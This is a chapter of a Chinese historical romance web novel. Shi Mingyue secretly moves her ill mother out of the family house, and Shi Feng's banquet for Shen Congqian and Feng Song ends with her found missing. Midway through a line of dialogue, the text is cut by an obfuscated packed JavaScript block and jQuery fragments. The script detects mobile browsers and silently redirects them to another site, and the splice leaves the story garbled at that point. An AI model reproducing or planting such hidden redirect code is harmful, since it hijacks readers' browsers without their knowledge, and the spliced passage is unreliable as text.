屋外响起了规律的敲门声,松涛压着嗓子道:“公子,时家人送来一封请柬。”
封颂收回笑嘻嘻的面皮,整了整衣服上的褶皱,挺直腰板正襟危坐。
沈从谦抬首,放下毛笔,“进来吧。”
松涛推门而入,将请柬递到沈从谦手上,简单介绍了方才的经过,“时家送请柬的小厮说,他家家主听闻封二公子今日靠岸下船,又逢两家即将结亲,理应为封二公子接风洗尘。”
沈从谦淡淡地扫了眼请柬上的字,言辞谄媚,极尽讨好之本能,看得出是一心想要荣华富贵。
见二人沉默,松涛偷偷地扫了眼封颂,早就听闻他在封家被当成未来家主培养,松涛一直为自家公子不服,今日见他面色凛然举止端庄,心中却又多了几许敬畏。
封颂开口,“时大人盛情邀请,我们作为小辈的哪有推辞的道理?”
沈从谦合上请柬,眯眼看着封颂。
方才是谁骂时峰老登?
松涛没别的事汇报,对着二人拱手行了个礼,“公子们无事吩咐,松涛就退下了。”
门再次合上的瞬间,封颂立刻如放了气的羊肚囊般瘫了下来,眨眼又恢复没正形的模样。
他单手撑着脑袋,颇为心疼地看着沈从谦,口中念念有词,“原本还计划这次劝带兄长一同回京城,一想回了封家就要面对那些臭脸和冷冰冰的家规,忽然也没那么想你回去了……”
沈从谦平淡地瞥了他一眼,“封氏家规我也是知道的,没你说的那么可怕。”
甚至比不过沈家那些不近人情的家规。
封颂叹了口气,“也是,比不过沈氏的条条框框。沈玉那老贼别的不会,折磨后辈倒是一把老手,说好听点叫古板,说难听点……哼!就是脑子有病……”
沈从谦抬起眼皮,“你如今哪来这么大火气。”
封颂缩了缩头,撇着嘴瞄了沈从谦一眼,“好不容易逃出生天,兄长让我喘口气吧……”
见沈从谦将请柬放置书案显眼处,封颂倒是又期待了起来,“方才还想着没由头去时家走动,没承想时峰自己叫咱们过去,正好借机瞧瞧兄长未来的夫人样貌如何……”
沈从谦突然又放下笔,端正地看着他,“容貌清逸,宛若天人。”
封颂:“……”
***
时府,清泠院。
黄太医将银针收回药箱,金雀顺手将荣夫人的手移到被子里,时明月欣喜地向黄太医道谢,“得亏您医术高明,母亲这么多年的病才能好得这样快。”
荣夫人垂着眼眸,面色肉眼可见地变得红润。
黄太医听了时明月的感谢后摇了摇头,直言荣夫人身上的病乃根深蒂固的旧疾,如今也只是看起来有精神,“府中每日人员来往复杂,夫人的病如若想根治,恐怕还是得搬到更清净的地方养着。”
时明月的笑容转瞬消散,自打沈家给时家下聘的消息一出,淮县官场自上而下皆来拜贺,家中竟无一日安宁。
这段时日时明珠也曾到清泠院照看过荣夫人,见她休息不好,便去寻家主解决,反倒被时峰劈头盖脸地骂了回来。
时明月心中黯然,父亲收受贿赂尚且来不及,自然没有余暇关心还在后宅休养生息的病妻。
时明月记得幼时父亲母亲也有过琴瑟和鸣的时候,只不过后来母亲突生恶疾需人照料,后面又下不来床,父亲便逐渐疏远了。
时明月觉得黄太医的提议甚好,思忖着接下来的计划,“上月我瞧城郊钵池山下有处院子,院子被几丛竹子围着,幽静之余却也还能晒得到太阳,出了院子便是一处湖泊,瞧着是个不错的地方。”
金雀画眉两个丫头听后眼睛发亮,想到此处租金必定价值不菲又泄了气,“如何能租下这处院子呢?”
金雀摸了摸身上的口袋,掏出一块碎金子塞到时明月手中,眉毛快拧成一个结,“奴婢月例银子不多,昨日刚换了这块碎金子,姑娘若手头紧,就先拿去顶顶,给夫人换个幽静的住处才是最紧要的。”
时明月笑着将金子还给了金雀,捏了捏她稚气未脱的脸,“哪里需要用到你的银子,我去寻父亲从账上支些便是。如今他在官场亨通,皆是沾了后宅之光,几百两银子他总还是掏得出来。”
金雀听得心中喜悦,荣夫人的脸色却不太好。
黄太医见荣夫人眉眼低垂,明白二人想到了一处。
时峰清楚荣夫人长公主的身份,想来沈从谦亦知晓此事,如今新帝重金悬赏长公主的下落,正因此事沈两家结亲才会变得这么顺畅。
如若荣夫人此时离开时府,时峰必会疑心她想逃离控制,因而绝对不会允许她踏出后宅半步。
黄太医尚未开口,荣夫人便摇了摇头,“无需租住宅院,我名下还有些私产,搬到那边就行了。”
时明月诧异,幼时父亲为了打点官场,免不得动用母亲随身的嫁妆,她本以为这些金银在这十几年里早已挥霍干净,没想到母亲竟还能有剩下的私产。
荣夫人看了眼画眉,画眉点头,唤金雀一起搬开卧房墙角处的柜子,又掀开了两层地板,一条几乎垂直的石阶赫然出现在众人眼中。
画眉身形娇小,灵活地顺着石阶而下,不到一会儿便拿了几卷地契出来。
金雀伸着脖子看了眼,惊讶地捂住了嘴巴,竟不知夫人名下有这么多处私产。
荣夫人转向金雀,面有歉意地同她解释,“不是我刻意瞒着你,只是你年纪尚小,心思又单纯,容易上了他人的套。如今见你长大了,决定还是不能瞒着你,你莫要怪我。”
金雀头摇得像个拨浪鼓,“我怎会怪夫人?夫人为我着想,金雀感激都来不及呢。”
时明月从画眉手中接过地契,略略地翻了几页,看完后却不似方才那般喜悦,她皱眉问道:“可这些并无淮县的院子啊……”
荣夫人摇头,下巴往地道处指了指,“里面还有很多,你替母亲挑一处来。”
时明月将信将疑地看着母亲,脱了外袍交给身后的阿蓉,小心翼翼地钻进了狭小的地洞。
刚在下面站定,时明月便愣住了。
暗室约有一间屋子那么大,书房一般的布局,四面墙上皆做了书架,柱子般联通到顶,每层书架约有八层,层层叠叠地放满了书画古玩金石珠玉,还有大几个书架放满了一张张地契。
时明月看后呆在原地久久没有动弹,回过神后翻了翻草纸般堆叠的地契,比较之下挑了处不错的院落,小心谨慎地顺着石阶爬了上来。
时明月将取出来的地契交给荣夫人,“母亲看看,此处院落比起刚刚提的那处还要更好,又是自家院子,总比找他人租要好。”
荣夫人没有接过地契,慈爱地拍了拍时明月的手,“阿月选的,母亲不用看也放心。”
时明月对母亲的私产虽有千般疑惑,可想起幼时母亲从不主动开口说娘家之事,她便也没再细问。她主动带着阿莲阿蓉将柜子挪回去,又同母亲聊了一会儿,顺便送黄太医走了。
回来的路上正巧碰见往清泠院赶的时明珠,上来对着时明月行了个礼,询问荣夫人的现状,“伯母今日的身子可又好些了?”
时明月回应了几句,时明珠听后松了口气,露出两个浅浅的酒窝,“好在伯母的身子越来越好,不然明珠真的要无地自容了……”
时明月微微点了个头,想到前些日子父亲派人给沈府送请柬的事,淡淡地多问了一句:“算算日子,明日沈从谦就要带着封二公子过来了,你可准备好如何应对了?”
时明珠眉眼渐渐低垂,这些天她也想过这个问题,可辗转反侧了好几夜都没想出个应对之法,只开口分析道:“明珠没有想好对策,不过这几日看淮县众官员奔走往来,如若两家婚约突然解除,无论是时家还是沈家,面子上都不会好看。想必伯父也会努力避免此事发生。”
时明月诧异地看了时明珠一眼,不知她何时变得擅于分析时势。
正如她说的那般,时明珠可以采取以不变应万变的策略,如今真正需要担忧的是她父亲,时明珠只要打好配合,时峰便会拼劲老命将两家联姻维系下来,除非她中途反悔……
时明月对着时明珠点了个头,“你无需担忧,我既答应过你,就不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541299|170991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
反悔。”
时明珠感激地行了个礼,继续往清泠院赶去。
晚上,时明月带着信任的小厮在清泠院中收拾了些重要的东西,当夜带着荣夫人乘马车悄悄离开了时府。
道路寂静无声,身后的时府却丝竹环绕,灯火映照着上方整片天空宛若白昼。
时峰在前厅忙于应酬,已数日未曾到后宅走动,方才接送荣夫人离开竟也无外人发觉。
***
翌日傍晚,时峰特意换了件光鲜的衣衫,太阳尚未西斜便已候在门外,待天色全暗才见远处路上一架豪华马车正缓缓向时府的方向驶来。
时府下人不论当值的不当值的,皆留了个眼睛,有看见封颂马车的即刻奔走相告,眨眼的功夫消息便传了个遍。
众人散在四方,悄悄地为时明月惋惜,“大小姐这次真是可惜,封家在朝中如日中天,这般好的姻缘都能随便拱手让人。”
一圈下人皆应声认同。
马车停定,时峰带着时旭笑着迎上去,“沈公子和封二公子今日能赏脸贵步光临贱地,实在是我时家的荣幸!”
时旭亦有样学样,一把握住封颂的胳膊拉着近乎,“封二公子!早在好些年前我便听闻你的威名,没想到如今都快成亲戚了……”
封颂嫌弃地抹掉时旭的手,冷着脸,“这门婚事能不能成还不一定,还请时公子慎言。”
时峰见状瞪了时旭一眼,时旭恹恹地走到后头再不敢多嘴,口中念念有词地嘲讽封颂太装。
沈从谦听见后,嘴角不动声色地扬起一个弧度。
时峰引着二人到了前厅,这些日子时府中宴会甚多,却也比不上今日这一桌精致用心。
时家二房四房全部出席,只有三房二人没有在场。
沈从谦扫了一眼,在人群中寻找着时明月的身影,寻找无果后眸光黯然,心里大概有了数。
时峰命下人替沈从谦和封颂布菜,扯着笑容介绍菜式,“这道烧鸭子是府中厨子的拿手好菜,还请两位多多品鉴。”
封颂温润一笑,将碗推了开来,时峰笑容凝固,连带着厅中众人亦不自觉放下碗筷屏住呼吸。
封颂环顾四周,席上只有两名女子,凭样貌看来约莫四十多岁,并不像他兄长未来的夫人。
沈从谦看了封颂一眼,目光相撞的瞬间读懂了他的意思。
时峰正心中忐忑,他猜到封颂必定会询问时明月之事,正想着要如何先发制人,便听见封颂开了口,“怎么不见时姑娘?”
席上众人的心提到嗓子眼,时明月让时明珠替她定亲之事在时家已人尽皆知,时峰特地敲打过众人莫要多嘴,这一消息才未曾传播到外面。
可任凭谁都知道这样瞒着不是长久之计,瞒得越久,沈家封家的怨气越深,眼看着现在封二公子主动开口过问,时家一大家子被吓得连大气都不敢喘。
沈从谦瞧着众人面露怯色,更加印证了他心中所想,时峰果真在背后耍花招。
因为早就考虑到封家人会在婚前见见沈从谦未来的夫人,时峰备好了一套说辞,称时明月忙于照料母亲,身子劳累突感风寒,已经歇下了。
封颂“哦”了一声,立马起身装作关心,又看了看一边端坐的沈从谦,提议道:“从京城到淮县路程不短不远,晚辈随身带了医师,皆是受宫中太医数十年教导的圣手,不若让他们给时姑娘瞧瞧,莫误了日后成亲的良辰吉日。”
时峰听后心中慌乱,环视一圈,时家众人亦神色慌张。
他本想借沈家封家之势一路高升,待娶亲事情败露后,转而投靠秦王,有沈家封家的把柄在手,无论如何也能有他一处容身之地。
却没想到事情会变得这般快……
“多谢封二公子好意。小女身子只是略微不适,我让下人将她接来小叙片刻。”时峰压着嗓音,连忙吩咐身边心腹无论如何都要将时明月带过来。
小厮领命离开,未过多久便回来了,时峰见他身后无人,冷不丁地出了一身冷汗,“人呢?”
小厮凑到时峰身边,惊恐地小声耳语,“大小姐不见了,院子都是空的。”